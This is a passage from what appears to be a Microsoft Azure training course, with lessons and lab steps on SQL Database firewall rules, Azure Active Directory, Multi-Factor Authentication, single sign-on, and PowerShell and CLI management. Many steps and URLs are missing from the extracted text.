through which you connect to the Internet. The Azure portal allows you to easily identify this IP address
and even automates creation of the corresponding rule if you use the web-based SQL Database
management interface. On the other hand, connections originating from any Azure subscription are
allowed by default. While you can change this setting, you should consider the impact of such an action
on connections from your Azure-hosted applications that rely on SQL Database for data store.
In order to connect to SQL Database programmatically, applications use connection strings, which you
can readily extract from either of the Azure management portals for individual instances of SQL Database,
as illustrated in the previous demonstrations in this module. Keep in mind that SQL databases are not
capable of leveraging Windows Authentication, so you will need to rely on security principals at the SQL
Server level and database level to control authentication and authorization.
Connect to a SQL database by using Azure portal that includes a web-based SQL Database
management interface.
Demonstration Steps
Connect to a SQL database by using Azure portal that includes a web-based SQL
Database management interface
1.
Automatically generate a firewall rule that allows you to connect to the target SQL Database from the
public IP address of your edge device.
2.
3.
Examine the interface from which you can execute T-SQL scripts, define tables, views, or stored
procedures, create new databases, or even deploy data-tier applications.
4.
2.
3.
Create a new table in the SQL database in Azure by running the T-SQL command from SQL Server
Management Studio.
4.
Populate the content of the newly created table by running the T-SQL command from SQL Server
Management Studio.
5.
Query the content of the newly populated table by running the T-SQL command from SQL Server
Management Studio.
6.
A. Datum Corporation is expanding rapidly, and its Public Relations department wants to expand its
Internet-facing website and support its database, through which it publishes press releases and interfaces
with external marketing partners. You have decided that this is an ideal time to test the database
capabilities of Azure.
Objectives
After completing this lab, you will be able to:
Exercise 1: Create a New SQL Database in Azure and Configure SQL Server
Firewall Rules
Scenario
You start your tests by creating a test database to which you will subsequently add some test tables. You
will then populate the tables with sample data.
The main tasks for this exercise are as follows:
1.
2.
Task 1: Create a new SQL database by using the preview Azure portal
1.
2.
Create a new SQL database by specifying its name, specifying the name of a new Azure SQL Server in
a datacenter of your choice, specifying a new resource group, selecting the pricing tier, and providing
admin credentials:
3.
DATABASE NAME:testDB
PASSWORD: Pa$$w0rd
1.
Switch back to the Azure portal, and verify that the testDB database is listed on the SQL DATABASES
page.
2.
On the SERVERS tab, verify that the uniquely named server you created is listed, and then configure
it to allow the current public IP address of your edge device..
You created a test database. Now it is time to create a test table, populate it with sample data, and verify
that data has been added by using SQL Server Management Studio.
The main tasks for this exercise are as follows:
1.
Add a table to a SQL database in Azure by using SQL Server Management Studio.
2.
Add data to a table of a SQL database in Azure by using SQL Server Management Studio.
3.
Query a table of a SQL database in Azure by using SQL Server Management Studio.
Task 1: Add a table to a SQL database in Azure by using SQL Server Management
Studio
1.
2.
From SQL Server Management Studio, connect to SQL Server in Azure by specifying the following
information:
3.
Login: Student
Password: Pa$$w0rd
Create a new table in the SQL database in Azure by running the following T-SQL command from SQL
Server Management Studio:
CREATE TABLE dbo.testTable
(
id integer identity primary key,
dataval nvarchar(50)
);
GO
4.
Leave the SQL Server Management Studio open for the next task.
Task 2: Add data to a table of a SQL database in Azure by using SQL Server
Management Studio
1.
Populate the content of the newly created table by running the following T-SQL command from SQL
Server Management Studio:
INSERT INTO dbo.testTable
VALUES
(newid());
GO 100
2.
Leave the SQL Server Management Studio open for the next task.
Task 3: Query a table of a SQL database in Azure by using SQL Server Management
Studio
1.
Query the content of the newly populated table by running T-SQL command from SQL Server
Management Studio. To generate the command, right-click dbo.testTable, point to Script Table as,
point to SELECT To, and then click New Query Editor Window.
2.
Results: After completing this exercise, you should have created a test table in the SQL database in Azure
named testDB on an existing SQL Server in Azure with a name of your choice, populated it with sample
data, and queried its content.
Tools
SQL Database in Azure. Therefore, you will have to perform their respective tasks by executing
Transact-SQL statements that provide equivalent functionality.
sqlcmd. You can use the sqlcmd command-line tool to connect to Azure SQL Database servers and
execute Transact-SQL commands.
Visual Studio. Developers can use Visual Studio to create SQL databases and to manage and query
their content.
Module 7
Azure Active Directory
Contents:
Module Overview
7-1
7-2
7-9
7-13
7-16
Module Overview
Microsoft ADs single sign-on (SSO), federation, and Microsoft Azure Multi-Factor Authentication capabilities.
In this module, you will learn how to create users, domains, and directories in Azure AD, integrate
applications with Azure AD, and use Multi-Factor Authentication.
Objectives
After completing this module, you will be able to:
Manage authentication.
Lesson 1
Lesson Objectives
After completing this lesson, you will be able to:
What Is AD DS?
Identity Data
Identity, in the context of our course, is a set of data that uniquely identifies an entity, such as a user or a
computer. Identity describes the characteristics of the entity. It also provides information about the
entitys relationships to other entities, for example by using groups that similar or associated entities are
members of. AD DS domain controllers verify the authenticity of the identifying data in a domain through
authentication. Authentication typically requires that a user or computer attempting to authenticate
provides a set of credentials to the authenticating domain controller. As the result of this process, the
authenticating domain controller grants that user or computer a token representing its status and
privileges to other domain members. The user or computer subsequently uses the token to obtain access
to resources such as file shares, applications, or databases hosted on domain computers, through the
process of authorization. Authorization is based on the implicit trust that each domain member computer
maintains with domain controllers. The process of joining the domain establishes this trust, permanently
adding an account representing that computer to the AD DS database.
Directory Service
In addition, AD DS, as the name indicates, functions as a directory service, facilitating lookups of the
content of the AD DS database. AD DSaware applications, such as Microsoft Exchange, which rely on
AD DS to store their configuration and operational parameters, use this functionality extensively. A range
of Windows Server roles whose names include the Active Directory designation, such as Active Directory
Certificate Services (AD CS), Active Directory Rights Management Services (AD RMS), and Active Directory
Federation Services (AD FS) leverage the same functionality. The AD DS database also stores management
data, which is critical for administering user and computer settings through Group Policy processing.
AD DS Configuration
AD DS uses Domain Name Service for advertising its services. Effectively, each AD DS domain has a unique
DNS domain name. While it is possible to use multiple, distinct DNS namespaces within the same domain,
this is rather uncommon.
Each AD DS domain exists within an AD DS forest. A forest can contain multiple domains. All domains
in the same forest share the same schema. They implicitly trust each other, extending the scope of
authentication, authorization, and directory services lookups to all objects in the entire forest. If you
want to provide the same functionality across multiple forests, you need to create trust relationships
between them.
AD DS offers a high degree of versatility and customizability, due to its multipurpose nature and the
intended operational model as a fully managed infrastructure component. You can delegate its
permissions down to an individual attribute of a single object. Its replicated, distributed database is
capable of scaling up to host millions of objects, and scaling out to support multinational enterprises with
data centers located across multiple continents. You can extend its schema to accommodate custom
object types, although it is important to note that schema extensions are not fully reversible.
Multi-tenancy is very difficult to implement within a single domain. While it is possible to provide a higher
level of autonomy by deploying additional domains within the same forests, or by deploying multiple
forests with trust relationships between them, such arrangements are complex to set up and manage.
AD DS provides the ability to implement the desired mix of efficiency, control, security, and flexibility
within corporate networks, but is not well-suited for todays open, Internet-facing world, dominated by
cloud services and mobile devices.
Extending AD DS Authentication
One way to address this shortcoming is to extend the capabilities of AD DS by using an intermediary
system that handles translation of AD DS on-premises constructs and protocols (such as tokens and
Kerberos) into their Internet-ready equivalents. The Active Directory Federation Services (AD FS) server
role and Web Application Proxy server feature of Windows Server provide this functionality. As a result,
users, devices, and applications can take advantage of the authentication and authorization features of
AD DS without having to be part of the same domain or a trusted domain.
In regard to device authentication, one example of such capabilities is the Workplace Join feature,
introduced in Windows Server 2012 R2, which leverages AD DS, AD FS, and Web Application Proxy.
Workplace Join facilitates the registration of devices that are not domain-joined in an AD DS database.
This provides additional authentication and authorization benefits, including SSO to on-premises web
applications, and support for conditional access control policies that consider whether an access request
originated from a registered device.
Federation Support
The primary feature that AD FS and Web Application Proxy facilitate is federation support. A federation
resembles a traditional trust relationship, but relies on claims (contained within tokens) to represent
authenticated users or devices. It relies on certificates to establish trusts and to facilitate secure
communication with an identity provider. Also, it relies on web-friendly protocols such as HTTPS,
Web Services Trust (WS-Trust), Web Services Federation (WS-Federation), or OAuth to handle transport
and processing of authentication and authorization data. Effectively, AD DS, in combination with AD FS
and Web Application Proxy, can function as a claims provider, capable of authenticating requests from
web-based services and applications that are not able to, or not permitted to, access AD DS domain
controllers directly.
Azure IaaS
You can also extend AD DS into the cloud in a different mannerby deploying AD DS domain controllers
into virtual machines based on Azure infrastructure as a service (IaaS). However, it is critical to ensure that
you protect such domain controllers from unauthorized external access. You may use such deployments
to build a disaster recovery solution for an existing on-premises AD DS environment, to implement a test
environment, or to provide local authentication and authorization to Azure-hosted cloud services that are
part of the same virtual network.
Overview of Azure AD
The previous topics in this module described the
role of AD DS as an identity provider, a directory
service, and an access management solution. They
also presented several ways of accommodating
authentication and authorization requirements
of Internet-based applications and services by
extending the features included in AD DS. Cloudbased identity providers natively support the same
functionality. Azure AD is an example of such a
provider.
It might be easy to simply view Azure AD as a
cloud-based counterpart of AD DS. However,
while they share some common characteristics, there are also several significant differences between
them.
First and foremost, Azure AD is implemented as a Microsoft-managed service that is part of the platform
as a service offering. It is not a part of core infrastructure that customers own and manage, or an IaaS
offering. While this implies that you have less control over its implementation, it also means that you do
not have to dedicate resources to its deployment or maintenance. You also do not have to develop
additional functionality natively unavailable in AD DS, such as support for Multi-Factor Authentication,
because this is a part of Azure AD functionality.
Types of Tiers
Azure AD constitutes a separate Azure service. Its most elementary form, which any new Azure
subscription automatically includes, does not incur any extra cost and is referred to as Free tier. Some
advanced identity management features require paid versions of Azure AD, offered in the form of
Basic and Premium tiers. Some of these features are also automatically included in Azure AD instances
generated as part of Office 365 subscriptions. In addition to differences in functionality, the Free tier is a
subject to the 500,000 object limit and does not carry out any service level agreement (SLA) obligations.
Both Basic and Premium tiers do not impose restrictions on the total number of directory objects and are
bundled with 99.9 percent uptime SLA.
Tenants
Unlike AD DS, Azure AD is multi-tenant by design, and is implemented specifically to ensure isolation
between its individual directories. It is the worlds largest multi-tenant directory, hosting well over a
million directory services instances, with billions of authentication requests per week. The term tenant in
this context typically represents a company or organization that signed up for a subscription to a
Microsoft cloud-based service such as Office 365, Windows Intune, or Microsoft Azure, which leverages
Azure AD but also includes individual users.
Directories
When you create your first Microsoft cloud service subscription, you will also automatically generate a
new Azure AD directory instance, also referred to simply as directory. The directory is assigned the default
DNS domain name, consisting of a unique name of your choice followed by the onmicrosoft.com suffix. It
is possible and quite common to add at least one custom domain name that utilizes the DNS domain
namespace that the tenant owns. The directory serves as the security boundary and a container of Azure
AD objects, such as users, groups and applications. It is possible for a single directory to support multiple
cloud service subscriptions.
The Azure AD schema contains fewer object types than the schema of AD DS. Most notably, it does not
include definition of the computer class, since there is no process of joining computers to Azure AD. It
does, however, facilitate device registration, similar to the Workplace Join feature of AD DS. It is also easily
extensible, and its extensions are fully reversible.
The lack of support for domain membership means that you cannot use Azure AD to manage computers
or user settings by using Group Policy objects (GPOs). Instead, its primary strength lies in providing
directory services; storing and publishing user, device, and application data; and handling the
authentication and authorization of the users, devices, and applications. These features are effective and
efficient in existing deployments of cloud services such as Office 365, which rely on Azure AD as their
identity provider and support millions of users.
Applications are represented in Azure AD by objects of the Application class and servicePrincipal class,
with the former containing an application definition and the latter constituting its instance in the current
Azure AD directory. Separating these two sets of characteristics allows you to define an application in one
directory and use it across multiple directories by creating a service principal object for this application in
each directory. This facilitates deploying applications to multiple tenants.
Delegation model
Due to its operational model as SaaS, and its lack of both management capabilities via Group Policy
settings and support for computer objects, the delegation model in Azure AD is considerably simpler than
the same model in AD DS. In all three tiers, there are several built-in roles, including Global Administrator,
Billing Administrator, Service Administrator, User Administrator, and Password Administrator. Each of
these roles provides different levels of directory-wide permissions to its objects. By default, the
administrators of the subscription hosting the Azure AD instance are its Global Administrators, with full
permissions to all objects in their directory instance. Some of the management actions are invoked from
the Azure Portal leverage groups, but their availability depends on the Azure AD tier. For example, in
Azure AD Free, users can gain access to a set of designated applications via Access Panel.
Additional Reading: The Access Panel is available at.
With Azure AD Basic, such access can also be granted based on the group membership. The Premium tier
further extends this functionality by offering delegated and self-service group management, allowing
users to create and manage their own groups, and request membership in groups created by others.
The delegation model described above applies to the graphical interface available in the full Azure Portal.
The Preview Portal offers a much more flexible and granular way of restricting management of Azure
resources by implementing role-based access control. This mechanism relies on three built-in roles: owner,
contributor, and reader. Each of these roles performs a specific set of actions on Azure resources that are
exposed via the Preview Portal, resources such as websites or SQL databases. The intended access is
granted by associating an Azure AD object (such as a user, group, or service principal) with a role and a
resource appearing in the Azure Preview Portal. Note that this approach applies only to resources that are
available via the Preview Portal.
Azure AD does not include the organizational unit class, which means that you cannot arrange its objects
into a hierarchy of custom containers, frequently used in on-premises AD DS deployments. This is not a
significant shortcoming, because organizational units in AD DS are used primarily for Group Policy
scoping and delegation. Instead, you can accomplish equivalent arrangements by organizing objects
based on their attribute values or group membership.
Azure AD Federations
In Azure AD, AD DS federations have replaced trust relationships between domains and forests. This
allows for the integration of its directories with cloud services and for interaction with directory instances
of other Azure AD tenants and other identity providers. For example, such federation trust exists between
Azure AD and the Microsoft identity provider that hosts Microsoft accounts (formerly known as Live ID
accounts). This means that an Azure AD directory user account can directly reference an existing Microsoft
account, making it possible to use the latter to sign in to Azure AD. You can also use AD FS and Web
Application Proxy to establish such federations with on-premises AD DS deployments.
The use of federations eliminates dependency on AD DS protocols, such as Kerberos, which are best suited
for on-premises, LAN-based communication that for which trust relationships were designed. Instead, the
federation traffic travels over cloud-friendly HTTPS, carrying WS-Trust, WS-Federation, SAML, or OAuth
messages. Instead of using LDAP-based lookups, Azure AD queries rely on AD Graph application
programming interface (API).
Due to its built-in capabilities as an identity provider and support for federations, Azure AD provides
flexibility in designing an identity solution for your organizational or business needs. This gives you three
high-level design choices:
Fully delegating authentication and authorization to Azure AD. Effectively, this means that identity
data, including user credentials, resides only in the cloud. The identities can be defined directly in
Azure AD, or they can be sourced from existing Microsoft accounts, based on the federation with the
Microsoft identity provider. You may prefer this choice if you do not have an existing or significant
on-premises AD DS deployment.
Maintaining an on-premises authoritative source of the identity data in AD DS, which is synchronized
in regular intervals to Azure AD. This way, Azure AD can authenticate and authorize users, but you
retain control over their state on-premises. This approach simplifies application support of AD DS
users who are not operating on-premises. It is also suitable in scenarios where a large number of
AD DS users rely on Azure cloud services, such as Office 365, to access their applications.
Taking advantage of the AD FS capabilities which this topic covered earlier. This involves forming a
federation between your on-premises AD DS and Azure AD. Authentication requests submitted to
Azure cloud services are redirected from the cloud to your on-premises AD DS via the AD FS server.
In effect, this allows you to provide authentication and authorization to cloud-based services by using
your on-premises AD DS. This approach is similar to the second one, but its distinct advantage is
support for SSO.
Create a directory and a custom domain and view the verification DNS records.
Demonstration Steps
Create a custom domain and view the verification DNS records
1.
Start Internet Explorer and sign in to the full Azure Portal by using the Microsoft account that is
associated with your Azure subscription.
2.
NAME: Adatum
DOMAIN NAME: Use the same name as the NAME field + random numbers (e.g. adatum123456)
3.
4.
Identify DNS records that you need to create, in order to verify the newly created domain.
ALTERNATE EMAIL ADDRESS: an alternate email address. In this case, for example, we are using
the Microsoft account associated with the current Azure subscription
2.
3.
As a backup, in the SEND PASSWORD IN EMAIL box, type the email address of your Azure
subscription.
Demonstration Steps
Add a directory application
Assign the Microsoft OneDrive application to Adam Brooks with single sign-on enabled.
2.
Type your email address and password to provide SSO to the application for the user.
Lesson 2
Manage Authentication
Azure AD enhances authentication security and simplifies user experience by supporting Multi-Factor
Authentication and SSO. In this module, you will learn how to implement and take advantage of both of
these features.
Lesson Objectives
After completing this lesson, you should be able to:
Multi-Factor Authentication
The purpose of Multi-Factor Authentication
is to increase security. Traditional, standard
authentication requires knowledge of logon
credentials, typically consisting of a user name
and the associated password. Multi-Factor
Authentication adds an extra verification that
relies on either having access to a device that is
assumed to be in the possession of the rightful
owner or, in the case of biometrics, having
physical characteristics of that person. This
additional requirement makes it considerably
more difficult for an unauthorized individual to
compromise the authentication process.
Microsoft Azure Multi-Factor Authentication is integrated into Azure AD. It allows the use of a phone as
the physical device providing a means of confirming the users identity. The process of implementing
Multi-Factor Authentication for an Azure AD user account starts when a user with the global administrator
role enables the account for Multi-Factor Authentication from the Azure Portal. At the next logon
attempt, the user is prompted to set up the authentication by selecting one of the following options:
Mobile phone. Requires the user to provide a mobile phone number. The verification can be in the
form of a phone call (at the end of which, the user must press the pound key) or a text message.
Office phone. Requires the specification of the OFFICE PHONE entry of the users contact info in
Azure AD. The administrator must preconfigure this entry and the user cannot modify or provide this
entry at the verification time.
Mobile app. Requires the user to have a smart phone on which he or she must install and configure
the mobile phone app.
App passwords
As part of the verification process, the user is also given an option to generate app passwords. This is
because the use of Multi-Factor Authentication is limited to authenticating access to applications and
services via a browser. Effectively, it does not apply to traditional desktop applications or modern apps,
such as Microsoft Outlook, Microsoft Lync, or mobile apps for email. Randomly generated app passwords
can then be assigned to individual apps by using their configuration settings.
App passwords can be a potential security vulnerability. Therefore, as an administrator, you can prevent all
directory users from creating app passwords. You also can invalidate all app passwords for an individual
user if the computer or device where the apps are installed is compromised.
Once the verification process is successfully completed, Multi-Factor Authentication status for the user
changes from enabled to enforced. The same verification process repeats during every subsequent
authentication attempt. The Additional security verification option appears in the Access Panel, reflecting
the status change. From the Access Panel, you can choose and configure a different verification
mechanism and generate app passwords. Generating app passwords is especially important, because
without app passwords assigned, desktop apps and modern apps that rely on authenticated access to
Azure AD will fail to connect to cloud services.
Additional Reading: To read more about Azure Multi-Factor Authentication, go to.
Once Azure AD administrators have assigned these applications to users and configured them for SSO,
they automatically appear in the Access Panel. Individual users can sign in to the Access Panel by
providing their Azure AD credentials. However, users will not be prompted for their credentials when
opening the Access Panel or launching its applications if Azure AD has already authenticated their cloud
or federated account.
You can use the following three mechanisms to implement SSO support:
Password-based SSO with Azure AD storing credentials for each user of a password-based SSO
application. When Azure AD administrators assign a password-based SSO app to an individual user,
they have the option to enter app credentials on the user's behalf. If users change their credentials
after being assigned an app, they can update their stored credentials directly from the Access Panel.
In this scenario, when accessing a password-based SSO app, users first rely on their Azure AD
credentials to authenticate to the Access Panel. When a user launches an app, Azure AD transparently
extracts the user's app-specific stored credentials and securely relays them to its provider as part of
the browser's session.
Azure AD SSO, with Azure AD establishing a federated trust with federation-capable SSO applications.
In this case, adding an application to the Azure AD directory involves creating a federated trust with
the application. Effectively, the application provider relies on the Azure AD directory to handle the
user's authentication, and considers the user to be already authenticated when the user launches the
application.
Existing SSO with Azure AD leveraging an existing federated trust between the application and an
SSO provider, such as AD FS. This is similar to the second mechanism because there are no separate
application credentials involved. However, in this case, the application provider trusts an identity
provider other than Azure AD. The Access Panel application entry redirects the authentication request
to that provider.
Effectively, Azure AD serves as a central point of managing application authentication and authorization.
You can also use Azure AD SSO functionality to control access to on-premises applications or applications
developed in-house. The Azure Portal facilitates both of these scenarios by creating required applicationrelated objects in Azure AD. On-premises applications require additional configuration, which includes
installation of the application proxy connector on-premises and enabling application proxy in Azure AD.
Demonstration Steps
Configure the Office Phone property for an Azure AD user account
1.
2.
2.
Demonstration Steps
Authenticate as a user with Multi-Factor Authentication enabled
1.
Sign in to the Access Panel at by using the adam user account.
2.
3.
Configure Multi-Factor Authentication verification options for the adam user account.
1.
From the Access Panel, install Access Panel Extensions. This will close all Internet Explorer windows.
2.
Sign in again to the Access Panel by providing adam user account credentials.
3.
4.
5.
Sign out from Microsoft OneDrive and from the Access Panel.
6.
Now that you have configured several services in Microsoft Azure, you need to create user accounts for
employees to securely access the services. In the long term, you plan to migrate existing organizational
accounts to Azure, but, initially, you want to test Azure AD with a separate Azure AD directory instance.
Objectives
After completing this lab, you will be able to:
To prepare for testing user management in Azure AD, you first need to create a new Azure AD directory.
You will use Azure Portal to accomplish this task.
The main task for this exercise is as follows:
1.
In Internet Explorer, browse to and sign in to Azure Portal by using the
Microsoft account that is associated with your Azure subscription.
2.
Create a new directory within the existing subscription with the following settings:
o
NAME: Adatum
DOMAIN NAME: Use the same name as the NAME field + random numbers (e.g. adatum123456)
Results: After completing this exercise, you will have created a new Microsoft Azure Active Directory
(Azure AD) directory by using Azure Portal.
To test Azure AD functionality, you already created a test directory. Now it is time to create test user
accounts, add an existing Microsoft Account, and configure that account as a Global Administrator of the
directory. You will use Azure Portal to accomplish this task.
The main tasks for this exercise are as follows:
1.
2.
3.
4.
ROLE: User
2.
Note the value for NEW PASSWORD; as a backup, in the SEND PASSWORD IN EMAIL box, type the
3.
4.
Note the value for NEW PASSWORD; as a backup, in the SEND PASSWORD IN EMAIL box, type the
USER NAME: type the name of an existing Microsoft account that the instructor provided
ROLE: User
Configure the Instructor account as the Global Administrator of the Adatum Azure AD directory.
Use the USERS tab of the Adatum Azure AD directory to view all user accounts, including Microsoft
accounts that have been added to the directory.
2.
Use the multi-factor authentication page to view members of built-in Azure AD organizational
roles.
Results: After completing this exercise, you will have used Azure Portal to create an Azure AD directory
user account, add a Microsoft Account to Azure AD directory and configure it as a Global Administrator,
and view the results of these actions.
Module 8
Microsoft Azure Management Tools
Contents:
Module Overview
8-1
8-2
8-8
8-13
8-16
Module Overview
The Microsoft Azure portals provide a graphical interface for managing your Azure subscriptions and
services. However, for certain management tasks and operations, the Azure portals might not be the best
management tools to use. Typically, as a developer, you might want to automate some management tasks
by creating reusable scripts, or combine management of Azure resources with management of other
network and infrastructure services. To enable you to manage Azure by using a command-line interface,
Microsoft provides Windows PowerShell and the Azure cross-platform command-line interface. In
addition to these command-line tools, you can use Microsoft Visual Studio 2013 to manage aspects of
your Azure subscription.
Objectives
After completing this module, you will be able to:
Describe and use Windows Azure PowerShell to manage your Azure subscription.
Describe and use Microsoft Visual Studio and the Azure cross-platform command-line interface to
manage your Azure subscription.
Lesson 1
Azure PowerShell
Windows PowerShell provides a scripting platform that you can use to manage Windows operating
systems. You can extend the Windows PowerShell platform to a wide range of other infrastructure
elements, including Azure, by importing modules of encapsulated code called cmdlets. This lesson
explores how you can use Windows PowerShell to connect to an Azure subscription, and provision
and manage Azure services.
Lesson Objectives
After completing this lesson, you will be able to:
Explain how to manage Azure accounts and subscriptions by using the Azure PowerShell module.
Install the Azure PowerShell module and connect to Azure by using the account credentials.
You can extend Windows PowerShell functionality by adding modules. For example, the Azure module
includes Windows PowerShell cmdlets that are specifically useful for performing Azurerelated
management tasks. Windows PowerShell includes features such as tab completion, which allows
administrators to complete commands by pressing the tab key rather than having to type the complete
command. You can learn about the functionality of any Windows PowerShell cmdlet by using the
Get-Help cmdlet.
Windows PowerShell cmdlets use a verb-noun syntax. Each noun has a collection of associated verbs. The
available verbs vary with each cmdlets noun.
Common Windows PowerShell cmdlet verbs include:
Get
New
Set
Restart
Resume
Stop
Suspend
Clear
Limit
Remove
Add
Show
Write
You can view the available verbs for a particular Windows PowerShell noun by executing the following
command:
Get-Command -Noun NounName
You can view the available Windows PowerShell nouns for a specific verb by executing the following
command:
Get-Command -Verb VerbName
Windows PowerShell parameters start with a dash. Each Windows PowerShell cmdlet has its own
associated set of parameters. You can learn what the parameters are for a particular Windows PowerShell
cmdlet by executing the following command:
Get-Help CmdletName
You can determine which Windows PowerShell cmdlets are available by executing the Get-Command
cmdlet. The Windows PowerShell cmdlets that are available depend on which modules are loaded. You
can load a module by using the Import-Module cmdlet.
In many cases,this is the only Azure PowerShell library that you require. The Azure PowerShell
module has a dependency on the Microsoft .NET Framework 4.5, and the Web Platform Installer
checks for this during installation.
Azure AD PowerShell.. You can obtain both of these components from.
To connect an Azure account to the local Windows PowerShell environment, you can use the
Add-AzureAccount cmdlet. This opens a browser window through which you can interactively
sign in to Azure by entering a valid user name and password.
Azure AD authentication is token-based, and after signing in, the user remains authenticated until
the authentication token expires. The expiration time for an Azure AD token is 12 hours, although
you refresh it in the Windows PowerShell session.
After you have authenticated, you can use the Get-AzureAccount cmdlet to view a list of Azure
accounts you have associated with the local Windows PowerShell environment, and you can use the
Get-AzureSubscription cmdlet to view a list of subscriptions associated with those accounts. If you
have multiple subscriptions, you can set the current subscription by using the Set-AzureSubscription
cmdlet with the name of the subscription that you want to use.
Certificate-Based Authentication. Most tools for managing Azure support Azure AD authentication,
and we recommend that you use the authentication model. However, in some cases it might be more
appropriate to authenticate by using a management certificate. Examples of where certificate-based
authentication is appropriate include earlier versions of tools that do not support Azure AD
authentication, or Windows PowerShell scripts that will run for long periods of time during which an
authentication token might expire.
Note: An Azure management certificate is an X.509 (v3) certificate that associates a client
application or service with an Azure subscription. You can use an Azure-generated management
certificate, or you can generate your own by using your organizations public key infrastructure
(PKI) solution or a utility such as Makecert.
You can view the information and certificate for your Azure subscription by using the
Get-AzurePublishSettingFile cmdlet. This cmdlet downloads a .publishsettings file that
contains information and a certificate for your Windows Azure subscription.
Note: The downloaded file is used by the Import-AzureSubscription cmdlet and is an
XML file with a ".publishsettings" extension.
After you have connected your Windows PowerShell environment to your Azure subscription, you can use
Azure cmdlets to view, provision, and manage Azure services. The Azure PowerShell library provides two
operational modes. In one mode, cmdlets from the Azure module are available, and in the other mode,
cmdlets from the AzureResourceManager module are available. Cmdlets from the AzureProfile module
are available in both modes.
To switch between modes, you can use the Switch-AzureMode cmdlet, which is defined in the
AzureProfile module.
Using the Switch-AzureMode cmdlet
# Switch to Resource Manager mode (activate the AzureResourceManager module)
Switch-AzureMode -Name AzureResourceManager
# Switch back to service manager mode (activate the Azure module)
Switch-AzureMode -Name AzureServiceManagement
By default, the Azure module is active and Azure PowerShell is in the Service Management mode. The
Azure module contains a comprehensive set of cmdlets, which you can use to view, create, and manage
individual Azure services in your subscription. For example, you can use the New-AzureWebsite cmdlet
to create an Azure website, or use the Get-AzureStorageAccount cmdlet to get a reference to an
existing storage account.
For a full list and summary description of the cmdlets in the Azure module, you can use the Windows
PowerShell Get-Command cmdlet. To display syntax for a specific Azure cmdlet, you can use the
Get-Help cmdlet.
In Resource Manager mode, you can use Windows PowerShell to create and manage Azure resources in
resource groups. This approach makes it easier to manage related sets of resources as a unit. For example,
you could use the Get-AzureResourceGroup cmdlet to get a reference to an existing resource group, or
use the Remove-AzureResourceGroup cmdlet to remove a resource group and all the resources that it
contains.
You can use the Get-Command and Get-Help cmdlets to view information about the cmdlets in the
AzureResourceManager module.
Viewing information about AzureResourceManager cmdlets
# Switch to Resource Manager mode
Switch-AzureMode -Name AzureResourceManager
# Get a list of cmdlets in the AzureResourceManager module
Get-Command -Module AzureResourceManager | Get-Help | Format-Table Name, Synopsis
# Get the syntax for a specific cmdlet
Get-Help Remove-AzureResourceGroup
# Get an example
Get-Help Remove-AzureResourceGroup -Example
Demonstration Steps
Install Windows PowerShell Azure Module
1.
Download and install the Windows PowerShell modules for Azure from.
2.
Add your Azure account to the local PowerShell environment by using Azure AD authentication.
When prompted, sign in using the Microsoft account associated with your Azure subscription:
Add-AzureAccount
Verify that your account and subscription are connected to the local.
New-AzureWebsite MySite####
get-AzureWebsite MySite####
3.
Lesson 2
The Azure Software Developers Kit (SDK) enables developers that are familiar with Visual Studio to use
these skills to develop apps, websites, web apps, and web services for Microsoft Azure. The Azure crossplatform command-line interface provides administrators with a scriptable command-line tool with which
they can administer their Microsoft Azure subscription and Azure services. This lesson discusses these
tools.
Lesson Objectives
After completing this lesson, you will be able to:
Explain how to install and use the Azure Cross-Platform Command-Line Interface.
Microsoft Visual Studio Express for Web. Provides you with tools to create standards-based websites
using ASP.NET. You can publish your web application directly to Azure from the IDE.
Note: If your local computer does not have Visual Studio installed, then the Azure SDK
installs Visual Studio Express for Web.
Microsoft ASP.NET and Web Tools for Visual Studio. Enables you to work with your Azure-based
websites to:
o
Microsoft Azure Tools for Microsoft Visual Studio. Enables you to work with Azure Cloud Services and
Virtual Machines to:
o
View and manage cloud services, virtual machines, and Service Bus.
The CSEncrypt command-line tool for encrypting passwords that you can use to access cloud
service role instances using a remote desktop connection.
Runtime binaries that cloud service projects require for communicating with their runtime
environment and for diagnostics.
Microsoft Azure Emulator. Simulates the cloud service environment so that you can test cloud service
projects locally on your computer before you deploy them to Azure.
Microsoft Azure Storage Emulator. Uses a SQL Server instance and the local file system to simulate
Azure Storage (queues, tables, blobs), so that you can test locally.
Microsoft Azure Storage Tools. Installs AzCopy, a command-line tool that you can use to transfer data
into and out of an Azure Storage account.
NuGet packages for Azure Storage, Service Bus, and Caching that are stored on your computer so
that Visual Studio can create new cloud service projects while it is offline.
Note: NuGet is the package manager for the Microsoft development platform.
A Visual Studio plug-in that enables Azure In-Role Cache projects to run locally in Visual Studio.
Note: In-Role Cache allows you to host caching within your roles. This cache can be used
by any roles within the same cloud service deployment.
LightSwitch for Visual Studio publishing add-on. You can use this add-on to publish LightSwitch
projects to Azure Websites.
Note: Both the Visual Studio Updates and the Azure SDK for .NET include the LightSwitch
add-on. By installing the SDK, you can ensure that you have the latest version of the add-on.
2.
2.
Note: If you are not already connected to your Azure subscription, you will be prompted to
3.
A web browser window opens. You are prompted to download the publish settings file. This file has a
.publishsettings extension.
4.
You now can use the azure command from the Windows PowerShell command-line to manage your
Azure subscription.
Note: All commands must be preceded with the word azure.
You can manage Azure services easily from the command prompt. For example, you can manage your
websites by using the Azure Cross-Platform Command-Line Interface.
Use the following command to create a new website:
azure site create mywebsite
The preceding code pipes a list of websites to the grep command; this inspects each line for the string
'Running'. Any lines that match are then piped to the awk command; this calls Azure site stop and uses
the second column passed to it (the running site name) as the site name to stop.
Demonstration Steps
Install the Microsoft Azure Cross-platform command-line tools
1.
2.
2.
3.
Import the account information, and then sign in to your Azure subscription.
Azure account import filename
4.
5.
6.
Sign out from your Azure subscription, and close all open applications.
Much of your on-premises administration is automated with Windows PowerShell scripts, and you have
decided to test the use of Windows PowerShell and the Microsoft Azure Cross-platform command-line
tools with Microsoft Azure to help to automate administrative tasks.
Objectives
After they complete this lab, the students will have:
Lab Setup
Estimated Time: 40 minutes
Sign in to your classroom computer by using the credentials your instructor provides.
Note: To complete the lab in this module, you must have completed the labs in Module 1
of this course.
2.
3.
Download and install the Windows PowerShell modules for Azure from.
2.
Add your Azure account to the local PowerShell environment by using Azure AD authentication.
When prompted, sign in by using the Microsoft account associated with your Azure subscription.
Add-AzureAccount
Verify that your account and subscription are connected to the local Windows. Use the
same number in both commands.
New-AzureWebsite MySite####
get-AzureWebsite MySite####
3.
4.
In Internet Explorer, open a new tab and browse to, click Portal, and
then sign in using the Microsoft account that is associated with your Azure subscription. Verify that
your website exists.
Results: After you complete this exercise, you will have successfully installed and used the Windows
PowerShell module for Microsoft Azure.
2.
2.
2.
At the command prompt, type the following command, and then press Enter. This command
